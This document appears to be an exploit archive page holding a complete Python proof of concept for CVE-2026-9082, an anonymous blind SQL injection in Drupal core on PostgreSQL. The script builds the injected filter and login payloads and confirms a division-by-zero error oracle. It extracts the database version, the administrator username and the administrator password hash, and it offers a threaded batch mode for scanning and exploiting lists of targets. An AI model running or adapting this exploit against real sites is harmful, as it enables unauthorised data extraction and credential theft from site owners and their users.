## https://sploitus.com/exploit?id=PACKETSTORM:227849
#!/usr/bin/env python3
"""
CVE-2026-9082 - Drupal core anonymous SQL injection (SA-CORE-2026-004), PostgreSQL only
Affected: Drupal core 8.9.0-10.4.9, 10.5.0-10.5.9, 10.6.0-10.6.8, 11.0.0-11.1.9,
11.2.0-11.2.11, 11.3.0-11.3.9 - PostgreSQL database backends only.
Type: SQL injection (blind, error-oracle)
Root cause:
Drupal\\pgsql\\EntityQuery\\Condition::translateCondition() builds a PDO placeholder
name by concatenating an attacker-controlled PHP array key straight into a raw SQL
fragment ("LOWER(:" . $where_prefix . $key . "),"). PDO's placeholder parser stops at
the first non-identifier byte, so everything the attacker writes after that byte is
emitted as literal SQL and executed by PostgreSQL. The pgsql driver runs with emulated
prepares, so a surplus bound argument is silently ignored - which is why a payload that
pairs a clean key "0" with an injected key "0<sql>" runs cleanly and turns the injected
SQL predicate into an HTTP status oracle.
The oracle:
Injected array key = 0 || 1/(CASE WHEN (<predicate>) THEN 0 ELSE 1 END)
predicate TRUE -> divisor 0 -> PostgreSQL 22012 division_by_zero -> HTTP 500
predicate FALSE -> divisor 1 -> clean evaluation -> HTTP 200
One controlled bit per request. No reflected output, no UNION: this is a pure blind
error oracle, so extraction is by binary search over ascii(substr(...)).
Two anonymous entry points (both reach the same translator):
B (default, no rate limit): GET /jsonapi/node/article?filter[a][condition][path]=title
&filter[a][condition][operator]=IN&filter[a][condition][value][0]=x
&filter[a][condition][value][<injected-key>]=x -> 500 true / 200 false
A (default install, no JSON:API, flood-limited to 50/hour/IP):
POST /user/login?_format=json {"name":{"0":"x","<injected-key>":"x"},"pass":"x"}
-> 500 true / 400 false
Usage:
python exploit.py --host 127.0.0.1 --port 8180
python exploit.py --host http://target.com
python exploit.py --host https://drupal.corp:8443/jsonapi/node/article
python exploit.py --host 127.0.0.1 --port 8180 --payload "current_user='drupal'"
python exploit.py --host 127.0.0.1 --port 8180 --login-proof
python exploit.py --list targets.txt --workers 20
Note on --payload: the generic union-style default ("' OR '1'='1'--") is meaningless for a
blind error oracle, so for this CVE --payload is a PostgreSQL boolean predicate that is
evaluated through the oracle and reported as TRUE/FALSE. It defaults to a harmless "1=1"
tautology. It must not contain '[' or ']' (see the JSON:API encoding quirk below).
"""
import argparse
import json
import sys
import threading
from urllib.parse import urlparse, quote
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except Exception:
print("This exploit requires the 'requests' library (pip install requests).")
sys.exit(2)
CVE_ID = "CVE-2026-9082"
VULN_TYPE = "SQLi"
HTTP_TIMEOUT = 20
# Subqueries used for the terminal-evidence extraction. Any of these can be swapped for an
# arbitrary read against the site database - the injection grants full read access.
SUB_VERSION = "version()"
SUB_ADMIN_NAME = "(SELECT name FROM users_field_data WHERE uid=1)"
SUB_ADMIN_PASS = "(SELECT pass FROM users_field_data WHERE uid=1)"
def header(host, port):
print("\n" + "=" * 60)
print(" ALIM EXPLOIT " + CVE_ID)
print(" Type: " + VULN_TYPE + " | Target: " + str(host) + ":" + str(port))
print("=" * 60 + "\n")
def step(n, msg):
print("[STEP " + str(n) + "] " + msg)
def section(label, content):
print("\n--- " + label + " ---")
print(str(content).strip())
print("---\n")
def done(success, evidence):
print("\n" + "=" * 60)
print(" RESULT : " + ("SUCCESS" if success else "FAILURE"))
print(" EVIDENCE: " + evidence)
print("=" * 60 + "\n")
sys.exit(0 if success else 1)
class OracleError(Exception):
"""The oracle produced neither a clean 500 (true) nor a clean 200 (false)."""
# --------------------------------------------------------------------------------------
# Payload construction
# --------------------------------------------------------------------------------------
def _injected_key(predicate):
"""Raw (un-encoded) injected array key for the given boolean SQL predicate.
Begins with '0' so its emitted placeholder token collapses onto the same :<prefix>0
that the clean key binds, then '||' concatenation into a divide-by-CASE that raises
division_by_zero exactly when the predicate is true.
"""
return "0||1/(CASE WHEN (" + predicate + ") THEN 0 ELSE 1 END)"
def _jsonapi_url(base_url, predicate):
"""Full JSON:API request URL for one oracle probe.
Structural filter[...] brackets are left raw; the injected key is fully percent-encoded
so requests transmits it verbatim (the payload must not contain '[' or ']', which PHP's
query parser would treat as sub-key delimiters).
"""
key = quote(_injected_key(predicate), safe="")
qs = (
"filter[a][condition][path]=title"
"&filter[a][condition][operator]=IN"
"&filter[a][condition][value][0]=x"
"&filter[a][condition][value][" + key + "]=x"
)
sep = "&" if ("?" in base_url) else "?"
return base_url + sep + qs
def _login_body(predicate):
"""JSON body for the /user/login oracle. Here '[' and ']' are safe (JSON object key)."""
return json.dumps({"name": {"0": "x", _injected_key(predicate): "x"}, "pass": "x"})
# --------------------------------------------------------------------------------------
# Oracle
# --------------------------------------------------------------------------------------
def _oracle_jsonapi(session, base_url, predicate):
"""Return True if predicate is TRUE (HTTP 500), False if FALSE (HTTP 200).
Any other status is ambiguous (patched target, HY093 from a malformed predicate,
non-PostgreSQL backend) and raises OracleError.
"""
r = session.get(_jsonapi_url(base_url, predicate), timeout=HTTP_TIMEOUT, verify=False)
if r.status_code == 500:
return True
if r.status_code == 200:
return False
raise OracleError("unexpected status " + str(r.status_code) + " for predicate: " + predicate)
def _oracle_login(session, login_url, predicate):
"""Login-endpoint oracle: 500 true, 400 false. Flood-limited - use sparingly."""
r = session.post(
login_url,
data=_login_body(predicate),
headers={"Content-Type": "application/json"},
timeout=HTTP_TIMEOUT,
verify=False,
)
if r.status_code == 500:
return True
if r.status_code == 400:
return False
if r.status_code in (403, 429):
raise OracleError("flood control engaged (HTTP " + str(r.status_code) + ")")
raise OracleError("unexpected login status " + str(r.status_code))
def _confirm_oracle(oracle_fn):
"""Prove the oracle diverges before trusting it. Returns (ok, detail)."""
try:
t_true = oracle_fn("1=1")
t_false = oracle_fn("1=0")
except OracleError as e:
return False, str(e)
if t_true and not t_false:
return True, "1=1 -> true / 1=0 -> false"
if t_true and t_false:
return False, "both predicates true (likely HY093 - missing clean key, not an oracle)"
return False, "no divergence (patched, non-PostgreSQL, or case-sensitive field)"
# --------------------------------------------------------------------------------------
# Blind extraction (binary search over the error oracle)
# --------------------------------------------------------------------------------------
def _extract_length(oracle_fn, subquery, max_len=256):
"""Length of subquery result via binary search on length((sub)) > k."""
lo, hi = 0, max_len
while lo < hi:
mid = (lo + hi) // 2
if oracle_fn("length(" + subquery + ") > " + str(mid)):
lo = mid + 1
else:
hi = mid
return lo
def _extract_char(oracle_fn, subquery, pos):
"""Byte value at 1-based position pos via binary search on ascii(substr(...)) > k."""
lo, hi = 0, 127
while lo < hi:
mid = (lo + hi) // 2
pred = "ascii(substr(" + subquery + "," + str(pos) + ",1)) > " + str(mid)
if oracle_fn(pred):
lo = mid + 1
else:
hi = mid
return lo
def _extract_string(make_oracle, subquery, workers=8, max_len=256, progress=None):
"""Extract a full string. make_oracle() must return a fresh (thread-safe-per-thread)
oracle callable; each worker thread gets its own so a single requests.Session is never
shared across threads."""
length_oracle = make_oracle()
n = _extract_length(length_oracle, subquery, max_len=max_len)
if n <= 0:
return ""
chars = [None] * n
local = threading.local()
def worker(pos):
oc = getattr(local, "oracle", None)
if oc is None:
oc = make_oracle()
local.oracle = oc
chars[pos - 1] = chr(_extract_char(oc, subquery, pos))
if progress:
progress(pos, n)
import concurrent.futures
with concurrent.futures.ThreadPoolExecutor(max_workers=max(1, workers)) as ex:
list(ex.map(worker, range(1, n + 1)))
return "".join("?" if c is None else c for c in chars)
# --------------------------------------------------------------------------------------
# Target base-URL assembly
# --------------------------------------------------------------------------------------
def _base_url(host, port, use_tls, path):
scheme = "https" if use_tls else "http"
if not path or path in ("", "/"):
path = "/jsonapi/node/article"
default = 443 if use_tls else 80
netloc = host if port == default else host + ":" + str(port)
return scheme + "://" + netloc + path
def _login_url_from_base(host, port, use_tls):
scheme = "https" if use_tls else "http"
default = 443 if use_tls else 80
netloc = host if port == default else host + ":" + str(port)
return scheme + "://" + netloc + "/user/login?_format=json"
# --------------------------------------------------------------------------------------
# Silent probe for --list scan mode
# --------------------------------------------------------------------------------------
def _try_exploit(host, port, use_tls=False, path="/jsonapi/node/article", **kwargs):
"""Silent probe. Returns (success, evidence). Never prints, never exits."""
base = _base_url(host, port, use_tls, path)
try:
session = requests.Session()
def oracle_fn(pred):
return _oracle_jsonapi(session, base, pred)
ok, detail = _confirm_oracle(oracle_fn)
if not ok:
return False, detail
# Strong, bounded proof: pull the admin username (short) over the oracle.
name = _extract_string(
lambda: (lambda p: _oracle_jsonapi(requests.Session(), base, p)),
SUB_ADMIN_NAME,
workers=kwargs.get("workers", 8),
max_len=64,
)
return True, "SQLi confirmed - admin (uid=1) name: '" + name + "'"
except OracleError as e:
return False, "no oracle (" + str(e) + ")"
except Exception as e:
return False, "unreachable (" + e.__class__.__name__ + ")"
def _parse_target(line, default_port, default_path="/jsonapi/node/article"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print("\n" + "=" * 60)
print(" " + CVE_ID + " - Batch Scan (" + str(len(targets)) + " targets, "
+ str(workers) + " workers)")
print("=" * 60 + "\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = ("https" if use_tls else "http") + "://" + str(host) + ":" + str(port)
ok, evidence = _try_exploit(host, port, use_tls, path, workers=4)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" " + ("[+]" if ok else "[-]") + " " + label + " - "
+ ("Exploited" if ok else "Not vulnerable") + ": " + evidence)
if ok:
success_count += 1
total = len(targets)
print("\n" + "=" * 60)
print(" SCAN COMPLETE " + str(success_count) + " exploited / "
+ str(total - success_count) + " not vulnerable (" + str(total) + " total)")
print("=" * 60 + "\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------------------
# Single-target exploit
# --------------------------------------------------------------------------------------
def _login_proof(host, port, use_tls):
"""Entry point A: prove reachability on a default install with no JSON:API.
Spends exactly two of the 50-per-hour flood budget probes (1=1 then 1=0)."""
login_url = _login_url_from_base(host, port, use_tls)
session = requests.Session()
def oracle_fn(pred):
return _oracle_login(session, login_url, pred)
step(5, "Entry point A proof: POST /user/login?_format=json (no JSON:API needed)")
try:
ok, detail = _confirm_oracle(oracle_fn)
except OracleError as e:
section("LOGIN ORACLE", "could not confirm: " + str(e))
return
if ok:
section("LOGIN ORACLE",
"500 for a true predicate, 400 for a false one (" + detail + ")\n"
"Same translator reached anonymously with NO JSON:API module enabled.\n"
"Note: flood control caps this endpoint at 50 failed logins/hour/IP.")
else:
section("LOGIN ORACLE", "no divergence on /user/login: " + detail)
def exploit(host, port, use_tls, payload, do_login_proof=False, workers=8):
header(host, port)
base = _base_url(host, port, use_tls, "/jsonapi/node/article")
session = requests.Session()
def oracle_fn(pred):
return _oracle_jsonapi(session, base, pred)
def make_oracle():
s = requests.Session()
return lambda p: _oracle_jsonapi(s, base, p)
step(1, "Confirming the error oracle at " + base)
ok, detail = _confirm_oracle(oracle_fn)
if not ok:
section("ORACLE CHECK", detail)
done(False, "No usable oracle - target is patched, not PostgreSQL-backed, "
"or the endpoint is unreachable (" + detail + ")")
section("ORACLE CONFIRMED",
"true predicate -> HTTP 500 (division_by_zero), false predicate -> HTTP 200\n"
+ detail)
step(2, "Fingerprinting the database backend via version()")
version = _extract_string(make_oracle, SUB_VERSION, workers=workers, max_len=256,
progress=None)
section("DATABASE VERSION", version)
step(3, "Extracting administrator account name (users_field_data, uid=1)")
admin_name = _extract_string(make_oracle, SUB_ADMIN_NAME, workers=workers, max_len=64)
section("ADMIN USERNAME (uid=1)", admin_name)
step(4, "Extracting administrator password hash (users_field_data.pass, uid=1)")
admin_hash = _extract_string(make_oracle, SUB_ADMIN_PASS, workers=workers, max_len=256)
section("ADMIN PASSWORD HASH (uid=1)", admin_hash)
# Optional user-supplied boolean predicate, evaluated through the same oracle.
if payload and payload not in ("1=1",):
step(4, "Evaluating user --payload predicate through the oracle")
try:
verdict = oracle_fn(payload)
section("PAYLOAD PREDICATE", "( " + payload + " ) -> "
+ ("TRUE" if verdict else "FALSE"))
except OracleError as e:
section("PAYLOAD PREDICATE",
"( " + payload + " ) -> ambiguous (" + str(e)
+ "); ensure it is a valid boolean predicate with no [ or ]")
if do_login_proof:
_login_proof(host, port, use_tls)
is_pg = version.lower().startswith("postgresql")
got_hash = bool(admin_hash) and admin_hash.startswith("$")
if is_pg and admin_name and got_hash:
done(True, "Blind SQLi confirmed - backend '" + version.split(" on ")[0]
+ "', admin (uid=1) '" + admin_name + "', hash '" + admin_hash[:16] + "...'")
if admin_name or version:
done(True, "Blind SQLi confirmed - extracted version='" + version
+ "', admin_name='" + admin_name + "', hash='" + admin_hash + "'")
done(False, "Oracle diverged but extraction returned nothing - investigate manually")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=CVE_ID + " exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. https://host:8443/jsonapi/node/article)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--payload", default="1=1",
help="PostgreSQL boolean predicate evaluated through the oracle "
"(no '[' or ']'). Default: 1=1")
parser.add_argument("--workers", type=int, default=8,
help="Threads for extraction / --list mode (default: 8)")
parser.add_argument("--login-proof", action="store_true",
help="Also prove entry point A (POST /user/login), flood-limited")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.payload,
do_login_proof=args.login_proof, workers=args.workers)